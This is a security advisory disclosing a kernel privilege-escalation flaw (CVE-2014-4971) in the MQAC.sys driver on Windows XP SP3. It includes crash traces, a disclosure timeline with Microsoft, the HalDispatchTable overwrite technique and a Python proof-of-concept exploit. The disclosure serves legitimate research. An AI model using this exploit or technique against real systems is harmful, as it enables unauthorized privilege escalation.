Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation

Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation

Advisory ID: KL-001-2014-003

Publication Date: 2014.07.18

Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt





1. Vulnerability Details



     Affected Vendor: Microsoft

     Affected Product: MQ Access Control

     Affected Versions: 5.1.0.1110

     Platform: Microsoft Windows XP SP3

     CWE Classification: CWE-123: Write-what-where Condition

     Impact: Privilege Escalation

     Attack vector: IOCTL

     CVE ID: CVE-2014-4971



2. Vulnerability Description



     A vulnerability within the MQAC module allows an attacker to

     inject memory they control into an arbitrary location they

     define. This can be used by an attacker to overwrite

     HalDispatchTable+0x4 and execute arbitrary code by subsequently

     calling NtQueryIntervalProfile.



3. Technical Description



     A userland process can create a handle into the MQAC device and

     subsequently make DeviceIoControlFile() calls into that device.

     During the IRP handler routine for 0x1965020f the user provided

     OutputBuffer address is not validated. This allows an attacker

     to specify an arbitrary address and write (or overwrite) the

     memory residing at the specified address. This is classically

     known as a write-what-where vulnerability and has well known

     exploitation methods associated with it.



     A stack trace from our fuzzing can be seen below. In our

     fuzzing testcase, the specified OutputBuffer in the

     DeviceIoControlFile() call is 0xffff0000.



STACK_TEXT:  

b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b

b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7

b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc

b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d

b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d

b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31

b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70

b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7

b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a



     Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v'

     command shows the fault originating in the mqac driver.



OLLOWUP_IP: 

mqac!AC2QM+5d

b230af37 891e            mov     dword ptr [esi],ebx



     Reviewing the TRAP_FRAME at the time of crash we can see

     IopCompleteRequest() copying data from InputBuffer into the

     OutputBuffer. InputBuffer is another parameter provided to the

     DeviceIoControlFile() function and is therefore controllable by

     the attacker. The edi register contains the invalid address

     provided during the fuzz testcase.



TRAP_FRAME:  b1c459c4 -- (.trap 0xffffffffb1c459c4)

ErrCode = 00000002

eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000

eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246

mqac!AC2QM+0x5d:

b230af37 891e            mov     dword ptr [esi],ebx  ds:0023:ffff0000=????????



     A write-what-where vulnerability can be leveraged to obtain

     escalated privileges. To do so, an attacker will need to

     allocate memory in userland that is populated with shellcode

     designed to find the Token for PID 4 (System) and then overwrite

     the token for its own process. By leveraging the vulnerability

     in MQAC it is then possible to overwrite the pointer at

     HalDispatchTable+0x4 with a pointer to our shellcode. Calling

     NtQueryIntervalProfile() will subsequently call

     HalDispatchTable+0x4, execute our shellcode, and elevate the

     privilege of the exploit process.



4. Mitigation and Remediation Recommendation



     None. A patch is not likely to be forthcoming from the vendor.



5. Credit



     This vulnerability was discovered by Matt Bergin of KoreLogic

     Security, Inc.



6. Disclosure Timeline



   2014.04.28 - Initial contact; sent Microsoft report and PoC.

   2014.04.28 - Microsoft acknowledges receipt of vulnerability

                report; states XP is no longer supported and asks if

                the vulnerability affects other versions of Windows.

   2014.04.29 - KoreLogic asks Microsoft for clarification of their

                support policy for XP.

   2014.04.29 - Microsoft says XP-only vulnerabilities will not be

                addressed with patches.

   2014.04.29 - KoreLogic asks if Microsoft intends to address the

                vulnerability report.

   2014.04.29 - Microsoft opens case to investigate the impact of the

                vulnerability on non-XP systems.

   2014.05.06 - Microsoft asks again if this vulnerability affects

                non-XP systems.

   2014.05.14 - KoreLogic informs Microsoft that the vulnerability

                report is for XP and other Windows versions have

                not been examined.

   2014.06.11 - KoreLogic informs Microsoft that 30 business days

                have passed since vendor acknowledgement of the

                initial report. KoreLogic requests CVE number for the

                vulnerability, if there is one. KoreLogic also

                requests vendor's public identifier for the

                vulnerability along with the expected disclosure date.

   2014.06.11 - Microsoft responds to KoreLogic that the

                vulnerability does not affect an "up-platform"

                product. Says they are investigating embedded

                platforms. Does not provide a CVE number or a

                disclosure date.

   2014.06.30 - KoreLogic asks Microsoft for confirmation of their

                receipt of the updated PoC. Also requests that

                a CVE ID be issued to this vulnerability.

   2014.07.02 - 45 business days have elapsed since Microsoft

                acknowledged receipt of the vulnerability report and

                PoC.

   2014.07.07 - KoreLogic requests CVE from MITRE.

   2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to

                be identical to KL-001-2014-002 and issues

                CVE-2014-4971 for both vulnerabilities.

   2014.07.18 - Public disclosure.



7. Proof of Concept



     #!/usr/bin/python2

     #

     # KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation

     # Matt Bergin (KoreLogic / Smash the Stack)

     # CVE-2014-4971

     #

     from ctypes import *

     from struct import pack

     from os import getpid,system

     from sys import exit

     EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA

     GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle

     INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0



     # thanks to offsec for the concept

     # I re-wrote the code as to not fully insult them :)

     def getBase(name=None):

        retArray = c_ulong*1024

        ImageBase = retArray()

        callback = c_int(1024)

        cbNeeded = c_long()

        EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))

        for base in ImageBase:

                driverName = c_char_p("\x00"*1024)

                GetDeviceDriverBaseNameA(base,driverName,48)

                if (name):

                        if (driverName.value.lower() == name):

                                return base

                else:

                        return (base,driverName.value)

        return None



     handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)

     print "[+] Handle \\\\.\\MQAC @ %s" % (handle)

     NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)

     buf = "\x50\x00\x00\x00"+"\x90"*0x400

     WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))

     WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))

     WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))

     #Overwrite Pointer

     kBase,kVer = getBase()

     hKernel = LoadLibraryExA(kVer,0,1)

     HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")

     HalDispatchTable -= hKernel

     HalDispatchTable += kBase

     HalDispatchTable += 0x4

     print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))

     DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0)

     print "[+] HalDispatchTable+0x4 overwritten"

     CloseHandle(handle)

     NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))

     exit(0)



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